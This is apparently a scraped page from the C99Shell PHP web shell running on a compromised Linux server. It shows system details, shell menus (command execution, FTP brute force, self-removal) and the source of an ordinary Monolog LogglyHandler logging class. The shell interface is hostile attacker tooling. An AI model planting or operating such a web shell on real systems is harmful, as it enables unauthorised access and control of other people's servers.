!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/vendor/monolog/monolog/src/Monolog/Handler/   drwxrwxr-x
Free 15.57 GB of 61.93 GB (25.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LogglyHandler.php (2.56 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use 
Monolog\Logger;
use 
Monolog\Formatter\LogglyFormatter;

/**
 * Sends errors to Loggly.
 *
 * @author Przemek Sobstel <przemek@sobstel.org>
 * @author Adam Pancutt <adam@pancutt.com>
 * @author Gregory Barchard <gregory@barchard.net>
 */
class LogglyHandler extends AbstractProcessingHandler
{
    const 
HOST 'logs-01.loggly.com';
    const 
ENDPOINT_SINGLE 'inputs';
    const 
ENDPOINT_BATCH 'bulk';

    protected 
$token;

    protected 
$tag = array();

    public function 
__construct($token$level Logger::DEBUG$bubble true)
    {
        if (!
extension_loaded('curl')) {
            throw new \
LogicException('The curl extension is needed to use the LogglyHandler');
        }

        
$this->token $token;

        
parent::__construct($level$bubble);
    }

    public function 
setTag($tag)
    {
        
$tag = !empty($tag) ? $tag : array();
        
$this->tag is_array($tag) ? $tag : array($tag);
    }

    public function 
addTag($tag)
    {
        if (!empty(
$tag)) {
            
$tag is_array($tag) ? $tag : array($tag);
            
$this->tag array_unique(array_merge($this->tag$tag));
        }
    }

    protected function 
write(array $record)
    {
        
$this->send($record["formatted"], self::ENDPOINT_SINGLE);
    }

    public function 
handleBatch(array $records)
    {
        
$level $this->level;

        
$records array_filter($records, function ($record) use ($level) {
            return (
$record['level'] >= $level);
        });

        if (
$records) {
            
$this->send($this->getFormatter()->formatBatch($records), self::ENDPOINT_BATCH);
        }
    }

    protected function 
send($data$endpoint)
    {
        
$url sprintf("https://%s/%s/%s/"self::HOST$endpoint$this->token);

        
$headers = array('Content-Type: application/json');

        if (!empty(
$this->tag)) {
            
$headers[] = 'X-LOGGLY-TAG: '.implode(','$this->tag);
        }

        
$ch curl_init();

        
curl_setopt($chCURLOPT_URL$url);
        
curl_setopt($chCURLOPT_POSTtrue);
        
curl_setopt($chCURLOPT_POSTFIELDS$data);
        
curl_setopt($chCURLOPT_HTTPHEADER$headers);
        
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);

        
Curl\Util::execute($ch);
    }

    protected function 
getDefaultFormatter()
    {
        return new 
LogglyFormatter();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5201 ]--